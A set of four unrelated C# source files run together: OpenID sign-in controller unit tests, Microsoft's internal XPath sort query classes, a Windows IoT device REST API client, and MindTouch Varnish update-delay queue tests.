WhenProviderRespondsAuthenticated_ThenSerializesNewUserIdInUserData() { const string claimIdentifier = @"http://username/"; FormsAuthenticationTicket ticket = null; var formsAuthMock = new Mock<IFormsAuthentication>(); formsAuthMock.Setup(f => f.SetAuthCookie(It.IsAny<HttpContextBase>(), It.IsAny<FormsAuthenticationTicket>())) .Callback<HttpContextBase, FormsAuthenticationTicket>((h, t) => ticket = t); var createUser = new Mock<CreateUser>(null); var getUser = new Mock<GetUserByClaimId>(null); getUser.Setup(x => x.Execute(It.Is<string>(u => u == claimIdentifier))) .Returns(new User { AuthorizationId = claimIdentifier, DisplayName = "TestDisplayName", UserId = 55, }); TestableAuthController authController = GetTestableAuthController( OpenIdRelyingPartyBuilder .DefaultParty() .ReturnsClaimId(claimIdentifier) .Object, formsAuthMock.Object, createUser.Object, getUser.Object, @"http://providerUrl.com"); ActionResult response = authController.SignInResponse(); // Assert UserInfo userInfo = UserInfo.FromString(ticket.UserData); Assert.NotNull(userInfo); Assert.Equal(55, userInfo.UserId); } [Fact] public void WhenProviderRespondsAuthenticatedWithMissingMetadata_ThenSavesOnlyPopulatedMetadata() { var fetchResponse = new FetchResponse(); var createUser = new Mock<CreateUser>(null); var getUser = new Mock<GetUserByClaimId>(null); getUser.Setup(ur => ur.Execute(It.IsAny<string>())) .Returns<User>(null); createUser.Setup(c => c.Execute(It.IsAny<string>())) .Returns(new User { }) .Verifiable(); TestableAuthController authController = GetTestableAuthController( OpenIdRelyingPartyBuilder.DefaultParty() .ReturnFriendlyName("BillyBaroo") .ReturnFetchResponse(fetchResponse) .Object, new Mock<IFormsAuthentication>().Object, createUser.Object, getUser.Object); authController.SignInResponse(); createUser.VerifyAll(); } [Fact] public void WhenProviderRespondsAuthenticatedAndSuppliesMetdata_ThenMetadataSavedToRepository() { var fetchResponse = new FetchResponse(); var createUser = new Mock<CreateUser>(null); var getUser = new Mock<GetUserByClaimId>(null); getUser.Setup(ur => ur.Execute(It.IsAny<string>())) .Returns<User>(null); createUser.Setup(c => c.Execute(It.IsAny<string>())) .Returns(new User { }) .Verifiable(); TestableAuthController authController = GetTestableAuthController( OpenIdRelyingPartyBuilder.DefaultParty() .ReturnFriendlyName("BillyBaroo") .ReturnFetchResponse(fetchResponse) .Object, new Mock<IFormsAuthentication>().Object, createUser.Object, getUser.Object); authController.SignInResponse(); createUser.VerifyAll(); } [Fact] public void WhenProviderRespondsFailedSignInAuthentication_ThenRedirectsToSignInAction() { var mockRelyingParty = new MockRelyingParty(); mockRelyingParty.ResponseMock.SetupGet(r => r.Status).Returns(AuthenticationStatus.Failed); mockRelyingParty.ResponseMock.SetupGet(r => r.Exception).Returns(new Exception("Failed")); TestableAuthController authController = GetTestableAuthController(mockRelyingParty); ActionResult result = authController.SignInResponse(); Assert.IsType(typeof (RedirectToRouteResult), result); Assert.Equal("Index", ((RedirectToRouteResult)result).RouteValues["action"]); } [Fact] public void WhenProviderRespondsFailedSignInAuthentication_ThenProvidesErrorMessage() { var exception = new ArgumentException("TestException"); var relyingParty = new MockRelyingParty(); relyingParty.ResponseMock.SetupGet(r => r.Status).Returns(AuthenticationStatus.Failed); relyingParty.ResponseMock.SetupGet(r => r.Exception).Returns(exception); TestableAuthController authController = GetTestableAuthController(relyingParty); authController.SignInResponse(); Assert.Equal(exception.Message, authController.TempData["alert"]); } [Fact] public void WhenProviderRespondsCancelledAuthentication_ThenRedirectsToSignInAction() { var relyingParty = new MockRelyingParty(); relyingParty.ResponseMock.SetupGet(r => r.Status).Returns(AuthenticationStatus.Canceled); TestableAuthController authController = GetTestableAuthController(relyingParty); ActionResult result = authController.SignInResponse(); Assert.IsType(typeof (RedirectToRouteResult), result); Assert.Equal("Index", ((RedirectToRouteResult) result).RouteValues["action"]); } [Fact] public void WhenProviderRespondsWithAnythingElse_ThenRedirectsToSignInActionWithMessage() { var relyingParty = new MockRelyingParty(); relyingParty.ResponseMock.SetupGet(r => r.Status).Returns(AuthenticationStatus.SetupRequired); TestableAuthController authController = GetTestableAuthController(relyingParty); ActionResult result = authController.SignInResponse(); Assert.IsType(typeof (RedirectToRouteResult), result); Assert.Equal("Index", ((RedirectToRouteResult)result).RouteValues["action"]); Assert.NotNull(authController.TempData["alert"]); } [Fact] public void WhenProviderCreateRequestThrows_ThenRedirectsToSignInActionWithAMessage() { var relyingParty = new Mock<IOpenIdRelyingParty>(); relyingParty .Setup(r => r.RedirectToProvider(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<FetchRequest>())) .Throws(new Exception("Some Provider Exception")); var authController = GetTestableAuthController(relyingParty.Object); var result = authController.SignInWithProvider(@"http://providerUrl"); Assert.IsType(typeof (RedirectToRouteResult), result); Assert.Equal("Index", ((RedirectToRouteResult)result).RouteValues["action"]); Assert.NotNull(authController.TempData["alert"]); } [Fact] public void WhenUserAuthenticatedAndHasNoUserRecord_ThenCreatesOne() { var createUser = new Mock<CreateUser>(null); var getUser = new Mock<GetUserByClaimId>(null); getUser.Setup(r => r.Execute(It.IsAny<string>())) .Returns<User>(null) .Verifiable(); createUser.Setup(c => c.Execute(It.IsAny<string>())) .Returns(new User { }) .Verifiable(); TestableAuthController authController = GetTestableAuthController( new MockRelyingParty(), new Mock<IFormsAuthentication>().Object, createUser.Object, getUser.Object ); ActionResult result = authController.SignInResponse(); createUser.VerifyAll(); } [Fact] public void WhenUserSignsOut_ThenSignThemOut() { var createUser = new Mock<CreateUser>(null); var getUser = new Mock<GetUserByClaimId>(null); var formsMock = new Mock<IFormsAuthentication>(); var authController = new AuthController(OpenIdRelyingPartyBuilder.DefaultParty().Object, formsMock.Object, createUser.Object, getUser.Object); ActionResult response = authController.SignOut(); formsMock.Verify(x => x.Signout(), Times.Once()); Assert.IsType<RedirectToRouteResult>(response); } private static TestableAuthController GetTestableAuthController(IOpenIdRelyingParty relyingParty) { return GetTestableAuthController(relyingParty, new Mock<IFormsAuthentication>().Object, new Mock<CreateUser>(null).Object, new Mock<GetUserByClaimId>(null).Object); } private static TestableAuthController GetTestableAuthController( IOpenIdRelyingParty relyingParty, IFormsAuthentication formsAuth, CreateUser createUser, GetUserByClaimId getUser, string providerUrl = @"http:\\testprovider.com") { HttpContextBase contextMock = MvcMockHelpers.FakeHttpContext(providerUrl); var authController = new TestableAuthController(relyingParty, formsAuth, createUser, getUser); authController.ControllerContext = new ControllerContext(contextMock, new RouteData(), authController); authController.InvokeInitialize(authController.ControllerContext.RequestContext); // default routes var routes = new RouteCollection(); routes.MapRoute( "Default", // Route name "{controller}/{action}/{id}", // URL with parameters new {controller = "Home", action = "Index", id = ""} // Parameter defaults ); authController.Url = new UrlHelper(authController.ControllerContext.RequestContext, routes); return authController; } #region Nested type: OpenIdRelyingPartyBuilder public class OpenIdRelyingPartyBuilder { private readonly Mock<IAuthenticationRequest> authenticationRequest = new Mock<IAuthenticationRequest>(); private readonly Mock<IAuthenticationResponse> authenticationResponse = new Mock<IAuthenticationResponse>(); private readonly Mock<IOpenIdRelyingParty> relyingPartyMock = new Mock<IOpenIdRelyingParty>(); private Action<FetchRequest> _fetchRequestAction = (fr) => { }; private FetchResponse fetchResponse; private ActionResult providerRedirectResult = new RedirectResult(@"http://test.url/"); private OpenIdRelyingPartyBuilder() { authenticationResponse.SetupGet(x => x.Status).Returns(AuthenticationStatus.Authenticated); authenticationResponse.Setup(x => x.GetExtension<FetchResponse>()).Returns(() => fetchResponse); authenticationResponse.SetupGet(x => x.ClaimedIdentifier).Returns("id"); relyingPartyMock.Setup( x => x.RedirectToProvider(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<FetchRequest>())) .Callback<string, string, FetchRequest>((p, u, fr) => _fetchRequestAction(fr)) .Returns(() => providerRedirectResult); relyingPartyMock.Setup(x => x.GetResponse()).Returns(authenticationResponse.Object); } public IOpenIdRelyingParty Object { get { return relyingPartyMock.Object; } } public static OpenIdRelyingPartyBuilder DefaultParty() { return new OpenIdRelyingPartyBuilder(); } public OpenIdRelyingPartyBuilder OnRedirectToProvider(string providerUrl) { relyingPartyMock.Setup( x => x.RedirectToProvider(providerUrl, It.IsAny<string>(), It.IsAny<FetchRequest>())) .Callback<string, string, FetchRequest>((p, u, fr) => _fetchRequestAction(fr)) .Returns(() => providerRedirectResult); return this; } public OpenIdRelyingPartyBuilder ReturnsRedirectResult(ActionResult result) { providerRedirectResult = result; return this; } public OpenIdRelyingPartyBuilder OnFetchRequest(Action<FetchRequest> fetchRequestAction) { _fetchRequestAction = fetchRequestAction; return this; } internal OpenIdRelyingPartyBuilder ReturnFriendlyName(string friendlyName) { authenticationResponse.Setup(x => x.FriendlyIdentifierForDisplay).Returns(friendlyName); return this; } internal OpenIdRelyingPartyBuilder ReturnFetchResponse(FetchResponse response) { fetchResponse = response; return this; } internal OpenIdRelyingPartyBuilder AddResponseAttribute(string attributeName, string value) { if (fetchResponse == null) { fetchResponse = new FetchResponse(); } fetchResponse.Attributes.Add(attributeName, value); return this; } public OpenIdRelyingPartyBuilder ReturnsClaimId(string claimId) { authenticationResponse.SetupGet(r => r.ClaimedIdentifier).Returns(claimId); return this; } } #endregion #region Nested type: TestableAuthController public class TestableAuthController : AuthController { public TestableAuthController(IOpenIdRelyingParty mockRelyingParty, IFormsAuthentication formsAuth, CreateUser createUser, GetUserByClaimId getUser) : base(mockRelyingParty, formsAuth, createUser, getUser) { } public void InvokeInitialize(RequestContext context) { base.Initialize(context); } } #endregion } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.Xml; using System.Xml.XPath; using System.Xml.Xsl; namespace MS.Internal.Xml.XPath { internal sealed class SortQuery : Query { private List<SortKey> results; private XPathSortComparer comparer; private Query qyInput; public SortQuery(Query qyInput) { Debug.Assert(qyInput != null, "Sort Query needs an input query tree to work on"); this.results = new List<SortKey>(); this.comparer = new XPathSortComparer(); this.qyInput = qyInput; count = 0; } private SortQuery(SortQuery other) : base(other) { this.results = new List<SortKey>(other.results); this.comparer = other.comparer.Clone(); this.qyInput = Clone(other.qyInput); count = 0; } public override void Reset() { count = 0; } public override void SetXsltContext(XsltContext xsltContext) { qyInput.SetXsltContext(xsltContext); if ( qyInput.StaticType != XPathResultType.NodeSet && qyInput.StaticType != XPathResultType.Any ) { throw XPathException.Create(SR.Xp_NodeSetExpected); } } private void BuildResultsList() { Int32 numSorts = this.comparer.NumSorts; Debug.Assert(numSorts > 0, "Why was the sort query created?"); XPathNavigator eNext; while ((eNext = qyInput.Advance()) != null) { SortKey key = new SortKey(numSorts, /*originalPosition:*/this.results.Count, eNext.Clone()); for (Int32 j = 0; j < numSorts; j++) { key[j] = this.comparer.Expression(j).Evaluate(qyInput); } results.Add(key); } results.Sort(this.comparer); } public override object Evaluate(XPathNodeIterator context) { qyInput.Evaluate(context); this.results.Clear(); BuildResultsList(); count = 0; return this; } public override XPathNavigator Advance() { Debug.Assert(0 <= count && count <= results.Count); if (count < this.results.Count) { return this.results[count++].Node; } return null; } public override XPathNavigator Current { get { Debug.Assert(0 <= count && count <= results.Count); if (count == 0) { return null; } return results[count - 1].Node; } } internal void AddSort(Query evalQuery, IComparer comparer) { this.comparer.AddSort(evalQuery, comparer); } public override XPathNodeIterator Clone() { return new SortQuery(this); } public override XPathResultType StaticType { get { return XPathResultType.NodeSet; } } public override int CurrentPosition { get { return count; } } public override int Count { get { return results.Count; } } public override QueryProps Properties { get { return QueryProps.Cached | QueryProps.Position | QueryProps.Count; } } public override void PrintQuery(XmlWriter w) { w.WriteStartElement(this.GetType().Name); qyInput.PrintQuery(w); w.WriteElementString("XPathSortComparer", "... PrintTree() not implemented ..."); w.WriteEndElement(); } } // class SortQuery internal sealed class SortKey { private Int32 numKeys; private object[] keys; private int originalPosition; private XPathNavigator node; public SortKey(int numKeys, int originalPosition, XPathNavigator node) { this.numKeys = numKeys; this.keys = new object[numKeys]; this.originalPosition = originalPosition; this.node = node; } public object this[int index] { get { return this.keys[index]; } set { this.keys[index] = value; } } public int NumKeys { get { return this.numKeys; } } public int OriginalPosition { get { return this.originalPosition; } } public XPathNavigator Node { get { return this.node; } } } // class SortKey internal sealed class XPathSortComparer : IComparer<SortKey> { private const int minSize = 3; private Query[] expressions; private IComparer[] comparers; private int numSorts; public XPathSortComparer(int size) { if (size <= 0) size = minSize; this.expressions = new Query[size]; this.comparers = new IComparer[size]; } public XPathSortComparer() : this(minSize) { } public void AddSort(Query evalQuery, IComparer comparer) { Debug.Assert(this.expressions.Length == this.comparers.Length); Debug.Assert(0 < this.expressions.Length); Debug.Assert(0 <= numSorts && numSorts <= this.expressions.Length); // Ajust array sizes if needed. if (numSorts == this.expressions.Length) { Query[] newExpressions = new Query[numSorts * 2]; IComparer[] newComparers = new IComparer[numSorts * 2]; for (int i = 0; i < numSorts; i++) { newExpressions[i] = this.expressions[i]; newComparers[i] = this.comparers[i]; } this.expressions = newExpressions; this.comparers = newComparers; } Debug.Assert(numSorts < this.expressions.Length); // Fixup expression to handle node-set return type: if (evalQuery.StaticType == XPathResultType.NodeSet || evalQuery.StaticType == XPathResultType.Any) { evalQuery = new StringFunctions(Function.FunctionType.FuncString, new Query[] { evalQuery }); } this.expressions[numSorts] = evalQuery; this.comparers[numSorts] = comparer; numSorts++; } public int NumSorts { get { return numSorts; } } public Query Expression(int i) { return this.expressions[i]; } int IComparer<SortKey>.Compare(SortKey x, SortKey y) { Debug.Assert(x != null && y != null, "Oops!! what happened?"); int result = 0; for (int i = 0; i < x.NumKeys; i++) { result = this.comparers[i].Compare(x[i], y[i]); if (result != 0) { return result; } } // if after all comparisions, the two sort keys are still equal, preserve the doc order return x.OriginalPosition - y.OriginalPosition; } internal XPathSortComparer Clone() { XPathSortComparer clone = new XPathSortComparer(this.numSorts); for (int i = 0; i < this.numSorts; i++) { clone.comparers[i] = this.comparers[i]; clone.expressions[i] = (Query)this.expressions[i].Clone(); // Expressions should be cloned because Query should be cloned } clone.numSorts = this.numSorts; return clone; } } // class XPathSortComparer } // namespace
using System; using System.Threading.Tasks; using Newtonsoft.Json; using sparkiy.Connectors.IoT.Windows.Models; namespace sparkiy.Connectors.IoT.Windows { /// <summary> /// Windows IoT device API client. /// </summary> public class DeviceApi : IDeviceApi { private const string GetInstalledAppXPackagesApiPath = "/api/appx/packagemanager/packages"; private const string GetIpConfigApiPath = "/api/networking/ipconfig"; private const string GetComputerNameApiPath = "/api/os/machinename"; private const string SetComputerNameApiPath = "api/iot/device/name?{0}"; private const string GetSoftwareInfoApiPath = "/api/os/info"; private Connection currentConnection; private Credentials currentCredentials; private RestClient client; /// <summary> /// Gets or sets the connection information. /// </summary> /// <value> /// The connection information. /// </value> // ReSharper disable once UnusedMember.Global public Connection Connection { get { return this.currentConnection; } set { this.SetConnection(value); } } /// <summary> /// Gets or sets the credentials. /// </summary> /// <value> /// The credentials. /// </value> // ReSharper disable once UnusedMember.Global public Credentials Credentials { get { return this.currentCredentials; } set { this.SetCredentials(value);} } /// <summary> /// Initializes a new instance of the <see cref="DeviceApi"/> class. /// </summary> /// <remarks> /// If you use empty constructor, you should call <see cref="Initialize"/> right after constructor /// in order to set connection information and credentials data. /// </remarks> // ReSharper disable once UnusedMember.Global public DeviceApi() { } /// <summary> /// Initializes a new instance of the <see cref="DeviceApi"/> class. /// </summary> /// <param name="connection">The connection.</param> /// <param name="credentials">The credentials.</param> /// <exception cref="System.ArgumentNullException"> /// connection /// or /// credentials /// </exception> // ReSharper disable once UnusedMember.Global public DeviceApi(Connection connection, Credentials credentials) { if (connection == null) throw new ArgumentNullException(nameof(connection)); if (credentials == null) throw new ArgumentNullException(nameof(credentials)); this.Initialize(connection, credentials); } /// <summary> /// Initializes the client with proper connection information and credentials. /// </summary> /// <param name="connection">The connection.</param> /// <param name="credentials">The credentials.</param> /// <exception cref="System.ArgumentNullException"> /// connection /// or /// credentials /// </exception> // ReSharper disable once MemberCanBePrivate.Global public void Initialize(Connection connection, Credentials credentials) { if (connection == null) throw new ArgumentNullException(nameof(connection)); if (credentials == null) throw new ArgumentNullException(nameof(credentials)); this.SetConnection(connection, true); this.SetCredentials(credentials, true); this.ReinitializeClient(); } /// <summary> /// Sets the connection information. /// </summary> /// <param name="connection">The connection.</param> /// <param name="suppressReinitialization"> /// If set to <c>True</c> client reinitialization will be suppressed. /// </param> /// <exception cref="System.ArgumentNullException"> /// connection /// </exception> // ReSharper disable once MemberCanBePrivate.Global protected void SetConnection(Connection connection, bool suppressReinitialization = false) { if (connection == null) throw new ArgumentNullException(nameof(connection)); this.currentConnection = connection; // Reinitialize client if not suppressed if (!suppressReinitialization) this.ReinitializeClient(); } /// <summary> /// Sets the credentials. /// </summary> /// <param name="credentials">The credentials.</param> /// <param name="suppressReinitialization"> /// If set to <c>True</c> client reinitialization will be suppressed. /// </param> /// <exception cref="System.ArgumentNullException"> /// credentials /// </exception> // ReSharper disable once MemberCanBePrivate.Global protected void SetCredentials(Credentials credentials, bool suppressReinitialization = false) { if (credentials == null) throw new ArgumentNullException(nameof(credentials)); this.currentCredentials = credentials; // Reinitialize client if not suppressed if (!suppressReinitialization) this.ReinitializeClient(); } /// <summary> /// Reinitializes the REST client. /// </summary> /// <exception cref="System.NullReferenceException"> /// Set Connection information before initializing client. /// or /// Set Credentials before initializing client. /// </exception> // ReSharper disable once MemberCanBePrivate.Global protected void ReinitializeClient() { if (this.currentConnection == null) throw new NullReferenceException("Set Connection information before initializing client."); if (this.currentCredentials == null) throw new NullReferenceException("Set Credentials before initializing client."); this.client = new RestClient(this.currentConnection, this.currentCredentials); } /// <summary> /// Gets the machine name. /// </summary> /// <returns>Returns <see cref="MachineName"/> that is populated with data from device.</returns> public async Task<MachineName> GetMachineNameAsync() { return await GetDeserializedAsync<MachineName>(GetComputerNameApiPath); } /// <summary> /// Sets the machine name. /// </summary> /// <param name="machineName">New name of the machine.</param> /// <exception cref="System.ArgumentException">Argument is null or whitespace</exception> public async Task SetMachineNameAsync(string machineName) { if (string.IsNullOrWhiteSpace(machineName)) throw new ArgumentException("Argument is null or whitespace", nameof(machineName)); // Send the request await this.SendAsync(string.Format(SetComputerNameApiPath, machineName), null); } /// <summary> /// Gets the software information. /// </summary> /// <returns>Returns <see cref="SoftwareInfo"/> that is populated with data from device.</returns> public async Task<SoftwareInfo> GetSoftwareInfo() { return await GetDeserializedAsync<SoftwareInfo>(GetSoftwareInfoApiPath); } /// <summary> /// Gets the ip configuration. /// </summary> /// <returns>Returns <see cref="IpConfig"/> that is populated with data from device.</returns> public async Task<IpConfig> GetIpConfig() { return await GetDeserializedAsync<IpConfig>(GetIpConfigApiPath); } /// <summary> /// Gets the installed AppX packages. /// </summary> /// <returns>Returns <see cref="AppXPackages"/> that is populated with data from device.</returns> public async Task<AppXPackages> GetInstalledAppXPackages() { return await GetDeserializedAsync<AppXPackages>(GetInstalledAppXPackagesApiPath); } /// <summary> /// Serializes and sends data to given path. /// </summary> /// <param name="path">The path.</param> /// <param name="data">The data to serialize.</param> /// <exception cref="System.ArgumentException">Argument is null or whitespace</exception> /// <exception cref="System.ArgumentNullException">data</exception> // ReSharper disable once MemberCanBePrivate.Global protected async Task SendAsync(string path, object data) { if (string.IsNullOrWhiteSpace(path)) throw new ArgumentException("Argument is null or whitespace", nameof(path)); // Serialize data var serializedData = data != null ? JsonConvert.SerializeObject(data) : null; // POST JSON data await client.PostAsync(path, serializedData); } /// <summary> /// Gets and deserialized data from given path. /// </summary> /// <typeparam name="T">Type into which data needs to be deserialized to.</typeparam> /// <param name="path">The path.</param> /// <returns> /// Returns new instance of <see cref="T"/> populated with value from data that was /// retrieved using REST API client GET request. If retrieving or deserialization /// fails - returns <c>default(<see cref="T"/>)</c>. /// </returns> /// <exception cref="System.ArgumentException">Argument is null or whitespace</exception> // ReSharper disable once MemberCanBePrivate.Global protected async Task<T> GetDeserializedAsync<T>(string path) { if (string.IsNullOrWhiteSpace(path)) throw new ArgumentException("Argument is null or whitespace", nameof(path)); // Retrieve JSON data var dataJson = await client.GetAsync(path); if (dataJson == null) return default(T); // Deserialize JSON data var data = TryDeserialize<T>(dataJson); return data; } /// <summary> /// Tries the deserialize given data. /// </summary> /// <typeparam name="T">Type into which data needs to be deserialized to.</typeparam> /// <param name="data">The data.</param> /// <returns> /// Returns new instance of <see cref="T"/> populated with values from given data. /// If deserialization fails - returns <c>default(<see cref="T"/>)</c>. /// </returns> /// <exception cref="System.ArgumentNullException">data</exception> // ReSharper disable once MemberCanBePrivate.Global protected static T TryDeserialize<T>(string data) { if (data == null) throw new ArgumentNullException(nameof(data)); try { return JsonConvert.DeserializeObject<T>(data); } catch (Exception) { return default(T); } } } }
/* * MindTouch Core - open source enterprise collaborative networking * Copyright (c) 2006-2010 MindTouch Inc. * www.mindtouch.com oss@mindtouch.com * * For community documentation and downloads visit www.opengarden.org; * please review the licensing section. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * http://www.gnu.org/copyleft/gpl.html */ using System; using System.Collections.Generic; using System.Threading; using MindTouch.Deki.Varnish; using MindTouch.Tasking; using MindTouch.Xml; using NUnit.Framework; namespace MindTouch.Deki.Tests.VarnishTests { using Yield = IEnumerator<IYield>; [TestFixture] public class UpdateDelayQueueTests { //--- Types --- public class MockUpdateRecordDispatcher : IUpdateRecordDispatcher { private readonly int _expectedDispatches; public int QueueSizeCalled; public List<Tuplet<DateTime, UpdateRecord>> Dispatches = new List<Tuplet<DateTime, UpdateRecord>>(); public readonly AutoResetEvent ResetEvent = new AutoResetEvent(false); public MockUpdateRecordDispatcher(int expectedDispatches) { _expectedDispatches = expectedDispatches; } public void Dispatch(UpdateRecord updateRecord) { Dispatches.Add(new Tuplet<DateTime, UpdateRecord>(DateTime.Now, updateRecord)); if(Dispatches.Count >= _expectedDispatches) { ResetEvent.Set(); } } public int QueueSize { get { QueueSizeCalled++; return 1; } } } [Test] public void QueueSize_queries_dispatcher_QueueSize() { var dispatcher = new MockUpdateRecordDispatcher(1); var queue = new UpdateDelayQueue(TimeSpan.FromSeconds(1), dispatcher); Assert.AreEqual(1, queue.QueueSize); Assert.AreEqual(1, dispatcher.QueueSizeCalled); } [Test] public void Callback_in_delay_time() { var dispatcher = new MockUpdateRecordDispatcher(1); var queue = new UpdateDelayQueue(TimeSpan.FromSeconds(1), dispatcher); XDoc queued = new XDoc("deki-event") .Attr("wikiid", "abc") .Elem("channel", "event://abc/deki/pages/update") .Elem("pageid", "1") .Elem("path", "bar"); DateTime queueTime = DateTime.Now; queue.Enqueue(queued); Assert.AreEqual(0, dispatcher.Dispatches.Count); if(!dispatcher.ResetEvent.WaitOne(5000, true)) { Assert.Fail("callback didn't happen"); } Assert.AreEqual(1, dispatcher.Dispatches.Count); Assert.AreEqual(1, dispatcher.Dispatches[0].Item2.Id); Assert.AreEqual("abc", dispatcher.Dispatches[0].Item2.WikiId); Assert.AreEqual("bar", dispatcher.Dispatches[0].Item2.Path); Assert.AreEqual(RecordType.Page, dispatcher.Dispatches[0].Item2.Type); Assert.GreaterOrEqual(dispatcher.Dispatches[0].Item1, queueTime.Add(TimeSpan.FromMilliseconds(1000))); } [Test] public void Multiple_events_for_same_page_fire_once_on_first_plus_delay() { var dispatcher = new MockUpdateRecordDispatcher(1); var queue = new UpdateDelayQueue(TimeSpan.FromSeconds(2), dispatcher); XDoc queued = new XDoc("deki-event") .Attr("wikiid", "abc") .Elem("channel", "event://abc/deki/pages/create") .Elem("pageid", "1") .Elem("path", "bar"); DateTime queueTime = DateTime.Now; queue.Enqueue(queued); Assert.AreEqual(0, dispatcher.Dispatches.Count); Thread.Sleep(300); queued = new XDoc("deki-event") .Attr("wikiid", "abc") .Elem("channel", "event://abc/deki/pages/update") .Elem("pageid", "1") .Elem("path", "bar"); queue.Enqueue(queued); Assert.AreEqual(0, dispatcher.Dispatches.Count); Thread.Sleep(300); queued = new XDoc("deki-event") .Attr("wikiid", "abc") .Elem("channel", "event://abc/deki/pages/foop") .Elem("pageid", "1") .Elem("path", "bar"); queue.Enqueue(queued); Assert.AreEqual(0, dispatcher.Dispatches.Count); if(!dispatcher.ResetEvent.WaitOne(3000, true)) { Assert.Fail("callback didn't happen"); } Assert.AreEqual(1, dispatcher.Dispatches.Count); Assert.AreEqual(1, dispatcher.Dispatches[0].Item2.Id); Assert.AreEqual("abc", dispatcher.Dispatches[0].Item2.WikiId); Assert.AreEqual("bar", dispatcher.Dispatches[0].Item2.Path); Assert.AreEqual(RecordType.Page, dispatcher.Dispatches[0].Item2.Type); Assert.GreaterOrEqual(dispatcher.Dispatches[0].Item1, queueTime.Add(TimeSpan.FromMilliseconds(2000))); Assert.LessOrEqual(dispatcher.Dispatches[0].Item1, queueTime.Add(TimeSpan.FromMilliseconds(2200))); Thread.Sleep(1000); Assert.AreEqual(1, dispatcher.Dispatches.Count); } [Test] public void Multiple_events_for_different_types_fire_for_each_type() { var dispatcher = new MockUpdateRecordDispatcher(3); var queue = new UpdateDelayQueue(TimeSpan.FromSeconds(1), dispatcher); XDoc queued = new XDoc("deki-event") .Attr("wikiid", "abc") .Elem("channel", "event://abc/deki/pages/create") .Elem("pageid", "1") .Elem("path", "bar"); DateTime queueTime = DateTime.Now; queue.Enqueue(queued); Assert.AreEqual(0, dispatcher.Dispatches.Count); Thread.Sleep(100); queued = new XDoc("deki-event") .Attr("wikiid", "abd") .Elem("channel", "event://abc/deki/pages/update") .Elem("pageid", "2") .Elem("path", "baz"); queue.Enqueue(queued); Assert.AreEqual(0, dispatcher.Dispatches.Count); Thread.Sleep(100); queued = new XDoc("deki-event") .Attr("wikiid", "abf") .Elem("channel", "event://abc/deki/files/foop") .Elem("fileid", "1"); queue.Enqueue(queued); Assert.AreEqual(0, dispatcher.Dispatches.Count); if(!dispatcher.ResetEvent.WaitOne(2000, true)) { Assert.Fail("callbacks didn't happen"); } Assert.AreEqual(3, dispatcher.Dispatches.Count); Assert.AreEqual(1, dispatcher.Dispatches[0].Item2.Id); Assert.AreEqual("abc", dispatcher.Dispatches[0].Item2.WikiId); Assert.AreEqual("bar", dispatcher.Dispatches[0].Item2.Path); Assert.AreEqual(RecordType.Page, dispatcher.Dispatches[0].Item2.Type); Assert.AreEqual(2, dispatcher.Dispatches[1].Item2.Id); Assert.AreEqual("abd", dispatcher.Dispatches[1].Item2.WikiId); Assert.AreEqual("baz", dispatcher.Dispatches[1].Item2.Path); Assert.AreEqual(RecordType.Page, dispatcher.Dispatches[1].Item2.Type); Assert.AreEqual(1, dispatcher.Dispatches[2].Item2.Id); Assert.AreEqual("abf", dispatcher.Dispatches[2].Item2.WikiId); Assert.IsTrue(string.IsNullOrEmpty(dispatcher.Dispatches[2].Item2.Path)); Assert.AreEqual(RecordType.File, dispatcher.Dispatches[2].Item2.Type); } [Test] public void Multiple_events_for_same_page_update_path_in_dispatched_callback() { var dispatcher = new MockUpdateRecordDispatcher(1); var queue = new UpdateDelayQueue(TimeSpan.FromSeconds(1), dispatcher); XDoc queued = new XDoc("deki-event") .Attr("wikiid", "abc") .Elem("channel", "event://abc/deki/pages/create") .Elem("pageid", "1") .Elem("path", "bar"); DateTime queueTime = DateTime.Now; queue.Enqueue(queued); Assert.AreEqual(0, dispatcher.Dispatches.Count); Thread.Sleep(100); queued = new XDoc("deki-event") .Attr("wikiid", "abc") .Elem("channel", "event://abc/deki/pages/update") .Elem("pageid", "1") .Elem("path", "baz"); queue.Enqueue(queued); Assert.AreEqual(0, dispatcher.Dispatches.Count); if(!dispatcher.ResetEvent.WaitOne(2000, true)) { Assert.Fail("callbacks didn't happen"); } Assert.AreEqual(1, dispatcher.Dispatches.Count); Assert.AreEqual(1, dispatcher.Dispatches[0].Item2.Id); Assert.AreEqual("abc", dispatcher.Dispatches[0].Item2.WikiId); Assert.AreEqual("baz", dispatcher.Dispatches[0].Item2.Path); Assert.AreEqual(RecordType.Page, dispatcher.Dispatches[0].Item2.Type); } [Test] public void Can_dispatch_using_coroutine_dispatcher() { var helper = new CallbackHelper(); var queue = new UpdateDelayQueue(TimeSpan.FromSeconds(1), new UpdateRecordDispatcher(helper.Invoke)); var queued = new XDoc("deki-event") .Attr("wikiid", "abc") .Elem("channel", "event://abc/deki/pages/update") .Elem("pageid", "1") .Elem("path", "bar"); queue.Enqueue(queued); Assert.AreEqual(0, helper.Callbacks.Count); if(!helper.ResetEvent.WaitOne(2000, true)) { Assert.Fail("callback didn't happen"); } Assert.AreEqual(1, helper.Callbacks.Count); Assert.AreEqual(1, helper.Callbacks[0].Id); Assert.AreEqual("abc", helper.Callbacks[0].WikiId); Assert.AreEqual("bar", helper.Callbacks[0].Path); Assert.AreEqual(RecordType.Page, helper.Callbacks[0].Type); } private class CallbackHelper { public readonly List<UpdateRecord> Callbacks = new List<UpdateRecord>(); public readonly AutoResetEvent ResetEvent = new AutoResetEvent(false); public Yield Invoke(UpdateRecord data, Result result) { Callbacks.Add(data); ResetEvent.Set(); yield break; } } } }
